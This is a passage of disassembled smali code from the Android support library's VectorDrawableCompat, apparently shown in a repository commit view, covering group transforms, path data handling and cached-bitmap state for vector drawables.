invoke-static {p1, p2, v1, v2, v3}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v1
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateX:F
.line 1420
const-string v1, "translateY"
const/4 v2, 0x7
iget v3, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateY:F
invoke-static {p1, p2, v1, v2, v3}, Landroid/support/graphics/drawable/TypedArrayUtils;->getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
move-result v1
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateY:F
.line 1423
const/4 v1, 0x0
.line 1424
invoke-virtual {p1, v1}, Landroid/content/res/TypedArray;->getString(I)Ljava/lang/String;
move-result-object v0
.line 1425
.local v0, "groupName":Ljava/lang/String;
if-eqz v0, :cond_0
.line 1426
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mGroupName:Ljava/lang/String;
.line 1429
:cond_0
invoke-direct {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->updateLocalMatrix()V
.line 1430
return-void
.end method
# virtual methods
.method public getGroupName()Ljava/lang/String;
.locals 1
.prologue
.line 1382
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mGroupName:Ljava/lang/String;
return-object v0
.end method
.method public getLocalMatrix()Landroid/graphics/Matrix;
.locals 1
.prologue
.line 1386
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mLocalMatrix:Landroid/graphics/Matrix;
return-object v0
.end method
.method public getPivotX()F
.locals 1
.prologue
.line 1458
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
return v0
.end method
.method public getPivotY()F
.locals 1
.prologue
.line 1471
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
return v0
.end method
.method public getRotation()F
.locals 1
.prologue
.line 1445
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mRotate:F
return v0
.end method
.method public getScaleX()F
.locals 1
.prologue
.line 1484
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleX:F
return v0
.end method
.method public getScaleY()F
.locals 1
.prologue
.line 1497
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleY:F
return v0
.end method
.method public getTranslateX()F
.locals 1
.prologue
.line 1510
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateX:F
return v0
.end method
.method public getTranslateY()F
.locals 1
.prologue
.line 1523
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateY:F
return v0
.end method
.method public inflate(Landroid/content/res/Resources;Landroid/util/AttributeSet;Landroid/content/res/Resources$Theme;Lorg/xmlpull/v1/XmlPullParser;)V
.locals 2
.param p1, "res" # Landroid/content/res/Resources;
.param p2, "attrs" # Landroid/util/AttributeSet;
.param p3, "theme" # Landroid/content/res/Resources$Theme;
.param p4, "parser" # Lorg/xmlpull/v1/XmlPullParser;
.prologue
.line 1390
sget-object v1, Landroid/support/graphics/drawable/AndroidResources;->styleable_VectorDrawableGroup:[I
invoke-static {p1, p3, p2, v1}, Landroid/support/graphics/drawable/VectorDrawableCommon;->obtainAttributes(Landroid/content/res/Resources;Landroid/content/res/Resources$Theme;Landroid/util/AttributeSet;[I)Landroid/content/res/TypedArray;
move-result-object v0
.line 1392
.local v0, "a":Landroid/content/res/TypedArray;
invoke-direct {p0, v0, p4}, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->updateStateFromTypedArray(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;)V
.line 1393
invoke-virtual {v0}, Landroid/content/res/TypedArray;->recycle()V
.line 1394
return-void
.end method
.method public setPivotX(F)V
.locals 1
.param p1, "pivotX" # F
.prologue
.line 1463
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
cmpl-float v0, p1, v0
if-eqz v0, :cond_0
.line 1464
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotX:F
.line 1465
invoke-direct {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->updateLocalMatrix()V
.line 1467
:cond_0
return-void
.end method
.method public setPivotY(F)V
.locals 1
.param p1, "pivotY" # F
.prologue
.line 1476
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
cmpl-float v0, p1, v0
if-eqz v0, :cond_0
.line 1477
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mPivotY:F
.line 1478
invoke-direct {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->updateLocalMatrix()V
.line 1480
:cond_0
return-void
.end method
.method public setRotation(F)V
.locals 1
.param p1, "rotation" # F
.prologue
.line 1450
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mRotate:F
cmpl-float v0, p1, v0
if-eqz v0, :cond_0
.line 1451
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mRotate:F
.line 1452
invoke-direct {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->updateLocalMatrix()V
.line 1454
:cond_0
return-void
.end method
.method public setScaleX(F)V
.locals 1
.param p1, "scaleX" # F
.prologue
.line 1489
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleX:F
cmpl-float v0, p1, v0
if-eqz v0, :cond_0
.line 1490
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleX:F
.line 1491
invoke-direct {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->updateLocalMatrix()V
.line 1493
:cond_0
return-void
.end method
.method public setScaleY(F)V
.locals 1
.param p1, "scaleY" # F
.prologue
.line 1502
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleY:F
cmpl-float v0, p1, v0
if-eqz v0, :cond_0
.line 1503
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mScaleY:F
.line 1504
invoke-direct {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->updateLocalMatrix()V
.line 1506
:cond_0
return-void
.end method
.method public setTranslateX(F)V
.locals 1
.param p1, "translateX" # F
.prologue
.line 1515
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateX:F
cmpl-float v0, p1, v0
if-eqz v0, :cond_0
.line 1516
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateX:F
.line 1517
invoke-direct {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->updateLocalMatrix()V
.line 1519
:cond_0
return-void
.end method
.method public setTranslateY(F)V
.locals 1
.param p1, "translateY" # F
.prologue
.line 1528
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateY:F
cmpl-float v0, p1, v0
if-eqz v0, :cond_0
.line 1529
iput p1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->mTranslateY:F
.line 1530
invoke-direct {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VGroup;->updateLocalMatrix()V
.line 1532
:cond_0
return-void
.end method

Wyświetl plik

@ -0,0 +1,379 @@
.class Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;
.super Ljava/lang/Object;
.source "VectorDrawableCompat.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/graphics/drawable/VectorDrawableCompat;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0xa
name = "VPath"
.end annotation
# instance fields
.field mChangingConfigurations:I
.field protected mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.field mPathName:Ljava/lang/String;
# direct methods
.method public constructor <init>()V
.locals 1
.prologue
.line 1543
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 1539
const/4 v0, 0x0
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.line 1545
return-void
.end method
.method public constructor <init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;)V
.locals 1
.param p1, "copy" # Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;
.prologue
.line 1569
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 1539
const/4 v0, 0x0
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.line 1570
iget-object v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mPathName:Ljava/lang/String;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mPathName:Ljava/lang/String;
.line 1571
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mChangingConfigurations:I
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mChangingConfigurations:I
.line 1572
iget-object v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
invoke-static {v0}, Landroid/support/graphics/drawable/PathParser;->deepCopyNodes([Landroid/support/graphics/drawable/PathParser$PathDataNode;)[Landroid/support/graphics/drawable/PathParser$PathDataNode;
move-result-object v0
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.line 1573
return-void
.end method
# virtual methods
.method public NodesToString([Landroid/support/graphics/drawable/PathParser$PathDataNode;)Ljava/lang/String;
.locals 6
.param p1, "nodes" # [Landroid/support/graphics/drawable/PathParser$PathDataNode;
.prologue
.line 1558
const-string v3, " "
.line 1559
.local v3, "result":Ljava/lang/String;
const/4 v0, 0x0
.local v0, "i":I
:goto_0
array-length v4, p1
if-ge v0, v4, :cond_1
.line 1560
new-instance v4, Ljava/lang/StringBuilder;
invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v4
aget-object v5, p1, v0
iget-char v5, v5, Landroid/support/graphics/drawable/PathParser$PathDataNode;->type:C
invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
move-result-object v4
const-string v5, ":"
invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v4
invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 1561
aget-object v4, p1, v0
iget-object v2, v4, Landroid/support/graphics/drawable/PathParser$PathDataNode;->params:[F
.line 1562
.local v2, "params":[F
const/4 v1, 0x0
.local v1, "j":I
:goto_1
array-length v4, v2
if-ge v1, v4, :cond_0
.line 1563
new-instance v4, Ljava/lang/StringBuilder;
invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v4
aget v5, v2, v1
invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
move-result-object v4
const-string v5, ","
invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v4
invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 1562
add-int/lit8 v1, v1, 0x1
goto :goto_1
.line 1559
:cond_0
add-int/lit8 v0, v0, 0x1
goto :goto_0
.line 1566
.end local v1 # "j":I
.end local v2 # "params":[F
:cond_1
return-object v3
.end method
.method public applyTheme(Landroid/content/res/Resources$Theme;)V
.locals 0
.param p1, "t" # Landroid/content/res/Resources$Theme;
.prologue
.line 1591
return-void
.end method
.method public canApplyTheme()Z
.locals 1
.prologue
.line 1587
const/4 v0, 0x0
return v0
.end method
.method public getPathData()[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.locals 1
.prologue
.line 1600
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
return-object v0
.end method
.method public getPathName()Ljava/lang/String;
.locals 1
.prologue
.line 1583
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mPathName:Ljava/lang/String;
return-object v0
.end method
.method public isClipPath()Z
.locals 1
.prologue
.line 1594
const/4 v0, 0x0
return v0
.end method
.method public printVPath(I)V
.locals 5
.param p1, "level" # I
.prologue
.line 1548
const-string v1, ""
.line 1549
.local v1, "indent":Ljava/lang/String;
const/4 v0, 0x0
.local v0, "i":I
:goto_0
if-ge v0, p1, :cond_0
.line 1550
new-instance v2, Ljava/lang/StringBuilder;
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
const-string v3, " "
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v1
.line 1549
add-int/lit8 v0, v0, 0x1
goto :goto_0
.line 1552
:cond_0
const-string v2, "VectorDrawableCompat"
new-instance v3, Ljava/lang/StringBuilder;
invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v3
const-string v4, "current path is :"
invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v3
iget-object v4, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mPathName:Ljava/lang/String;
invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v3
const-string v4, " pathData is "
invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v3
iget-object v4, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.line 1553
invoke-virtual {p0, v4}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->NodesToString([Landroid/support/graphics/drawable/PathParser$PathDataNode;)Ljava/lang/String;
move-result-object v4
invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v3
invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 1552
invoke-static {v2, v3}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
.line 1555
return-void
.end method
.method public setPathData([Landroid/support/graphics/drawable/PathParser$PathDataNode;)V
.locals 1
.param p1, "nodes" # [Landroid/support/graphics/drawable/PathParser$PathDataNode;
.prologue
.line 1605
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
invoke-static {v0, p1}, Landroid/support/graphics/drawable/PathParser;->canMorph([Landroid/support/graphics/drawable/PathParser$PathDataNode;[Landroid/support/graphics/drawable/PathParser$PathDataNode;)Z
move-result v0
if-nez v0, :cond_0
.line 1607
invoke-static {p1}, Landroid/support/graphics/drawable/PathParser;->deepCopyNodes([Landroid/support/graphics/drawable/PathParser$PathDataNode;)[Landroid/support/graphics/drawable/PathParser$PathDataNode;
move-result-object v0
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.line 1611
:goto_0
return-void
.line 1609
:cond_0
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
invoke-static {v0, p1}, Landroid/support/graphics/drawable/PathParser;->updateNodes([Landroid/support/graphics/drawable/PathParser$PathDataNode;[Landroid/support/graphics/drawable/PathParser$PathDataNode;)V
goto :goto_0
.end method
.method public toPath(Landroid/graphics/Path;)V
.locals 1
.param p1, "path" # Landroid/graphics/Path;
.prologue
.line 1576
invoke-virtual {p1}, Landroid/graphics/Path;->reset()V
.line 1577
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
if-eqz v0, :cond_0
.line 1578
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
invoke-static {v0, p1}, Landroid/support/graphics/drawable/PathParser$PathDataNode;->nodesToPath([Landroid/support/graphics/drawable/PathParser$PathDataNode;Landroid/graphics/Path;)V
.line 1580
:cond_0
return-void
.end method

Wyświetl plik

@ -0,0 +1,522 @@
.class Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;
.super Landroid/graphics/drawable/Drawable$ConstantState;
.source "VectorDrawableCompat.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/graphics/drawable/VectorDrawableCompat;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0xa
name = "VectorDrawableCompatState"
.end annotation
# instance fields
.field mAutoMirrored:Z
.field mCacheDirty:Z
.field mCachedAutoMirrored:Z
.field mCachedBitmap:Landroid/graphics/Bitmap;
.field mCachedRootAlpha:I
.field mCachedThemeAttrs:[I
.field mCachedTint:Landroid/content/res/ColorStateList;
.field mCachedTintMode:Landroid/graphics/PorterDuff$Mode;
.field mChangingConfigurations:I
.field mTempPaint:Landroid/graphics/Paint;
.field mTint:Landroid/content/res/ColorStateList;
.field mTintMode:Landroid/graphics/PorterDuff$Mode;
.field mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
# direct methods
.method public constructor <init>()V
.locals 1
.prologue
.line 1060
invoke-direct {p0}, Landroid/graphics/drawable/Drawable$ConstantState;-><init>()V
.line 954
const/4 v0, 0x0
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTint:Landroid/content/res/ColorStateList;
.line 955
sget-object v0, Landroid/support/graphics/drawable/VectorDrawableCompat;->DEFAULT_TINT_MODE:Landroid/graphics/PorterDuff$Mode;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTintMode:Landroid/graphics/PorterDuff$Mode;
.line 1061
new-instance v0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
invoke-direct {v0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;-><init>()V
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
.line 1062
return-void
.end method
.method public constructor <init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;)V
.locals 3
.param p1, "copy" # Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;
.prologue
.line 972
invoke-direct {p0}, Landroid/graphics/drawable/Drawable$ConstantState;-><init>()V
.line 954
const/4 v0, 0x0
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTint:Landroid/content/res/ColorStateList;
.line 955
sget-object v0, Landroid/support/graphics/drawable/VectorDrawableCompat;->DEFAULT_TINT_MODE:Landroid/graphics/PorterDuff$Mode;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTintMode:Landroid/graphics/PorterDuff$Mode;
.line 973
if-eqz p1, :cond_2
.line 974
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mChangingConfigurations:I
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mChangingConfigurations:I
.line 975
new-instance v0, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
iget-object v1, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
invoke-direct {v0, v1}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;-><init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;)V
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
.line 976
iget-object v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
invoke-static {v0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->access$000(Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;)Landroid/graphics/Paint;
move-result-object v0
if-eqz v0, :cond_0
.line 977
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
new-instance v1, Landroid/graphics/Paint;
iget-object v2, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
invoke-static {v2}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->access$000(Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;)Landroid/graphics/Paint;
move-result-object v2
invoke-direct {v1, v2}, Landroid/graphics/Paint;-><init>(Landroid/graphics/Paint;)V
invoke-static {v0, v1}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->access$002(Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;Landroid/graphics/Paint;)Landroid/graphics/Paint;
.line 979
:cond_0
iget-object v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
invoke-static {v0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->access$100(Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;)Landroid/graphics/Paint;
move-result-object v0
if-eqz v0, :cond_1
.line 980
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
new-instance v1, Landroid/graphics/Paint;
iget-object v2, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
invoke-static {v2}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->access$100(Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;)Landroid/graphics/Paint;
move-result-object v2
invoke-direct {v1, v2}, Landroid/graphics/Paint;-><init>(Landroid/graphics/Paint;)V
invoke-static {v0, v1}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->access$102(Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;Landroid/graphics/Paint;)Landroid/graphics/Paint;
.line 982
:cond_1
iget-object v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTint:Landroid/content/res/ColorStateList;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTint:Landroid/content/res/ColorStateList;
.line 983
iget-object v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTintMode:Landroid/graphics/PorterDuff$Mode;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTintMode:Landroid/graphics/PorterDuff$Mode;
.line 984
iget-boolean v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mAutoMirrored:Z
iput-boolean v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mAutoMirrored:Z
.line 986
:cond_2
return-void
.end method
# virtual methods
.method public canReuseBitmap(II)Z
.locals 1
.param p1, "width" # I
.param p2, "height" # I
.prologue
.line 1032
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedBitmap:Landroid/graphics/Bitmap;
invoke-virtual {v0}, Landroid/graphics/Bitmap;->getWidth()I
move-result v0
if-ne p1, v0, :cond_0
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedBitmap:Landroid/graphics/Bitmap;
.line 1033
invoke-virtual {v0}, Landroid/graphics/Bitmap;->getHeight()I
move-result v0
if-ne p2, v0, :cond_0
.line 1034
const/4 v0, 0x1
.line 1036
:goto_0
return v0
:cond_0
const/4 v0, 0x0
goto :goto_0
.end method
.method public canReuseCache()Z
.locals 2
.prologue
.line 1040
iget-boolean v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCacheDirty:Z
if-nez v0, :cond_0
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedTint:Landroid/content/res/ColorStateList;
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTint:Landroid/content/res/ColorStateList;
if-ne v0, v1, :cond_0
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedTintMode:Landroid/graphics/PorterDuff$Mode;
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mTintMode:Landroid/graphics/PorterDuff$Mode;
if-ne v0, v1, :cond_0
iget-boolean v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedAutoMirrored:Z
iget-boolean v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mAutoMirrored:Z
if-ne v0, v1, :cond_0
iget v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedRootAlpha:I
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mVPathRenderer:Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;
.line 1044
invoke-virtual {v1}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPathRenderer;->getRootAlpha()I
move-result v1
if-ne v0, v1, :cond_0
.line 1045
const/4 v0, 0x1
.line 1047
:goto_0
return v0
:cond_0
const/4 v0, 0x0
goto :goto_0
.end method
.method public createCachedBitmapIfNeeded(II)V
.locals 1
.param p1, "width" # I
.param p2, "height" # I
.prologue
.line 1023
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedBitmap:Landroid/graphics/Bitmap;
if-eqz v0, :cond_0
invoke-virtual {p0, p1, p2}, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->canReuseBitmap(II)Z
move-result v0
if-nez v0, :cond_1
.line 1024
:cond_0
sget-object v0, Landroid/graphics/Bitmap$Config;->ARGB_8888:Landroid/graphics/Bitmap$Config;
invoke-static {p1, p2, v0}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
move-result-object v0
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedBitmap:Landroid/graphics/Bitmap;
.line 1026
const/4 v0, 0x1
iput-boolean v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCacheDirty:Z
.line 1029
:cond_1
return-void
.end method
.method public drawCachedBitmapWithRootAlpha(Landroid/graphics/Canvas;Landroid/graphics/ColorFilter;Landroid/graphics/Rect;)V
.locals 3
.param p1, "canvas" # Landroid/graphics/Canvas;
.param p2, "filter" # Landroid/graphics/ColorFilter;
.param p3, "originalBounds" # Landroid/graphics/Rect;
.prologue
.line 991
invoke-virtual {p0, p2}, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->getPaint(Landroid/graphics/ColorFilter;)Landroid/graphics/Paint;
move-result-object v0
.line 992
.local v0, "p":Landroid/graphics/Paint;
iget-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VectorDrawableCompatState;->mCachedBitmap:Landroid/graphics/Bitmap;
const/4 v2, 0x0
invoke-virtual {p1, v1, v2, p3, v0}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;Landroid/graphics/Rect;Landroid/graphics/Rect;Landroid/graphics/Paint;)V
.line 993
return-void
.end method
.method public getChangingConfigurations()I
.locals 1
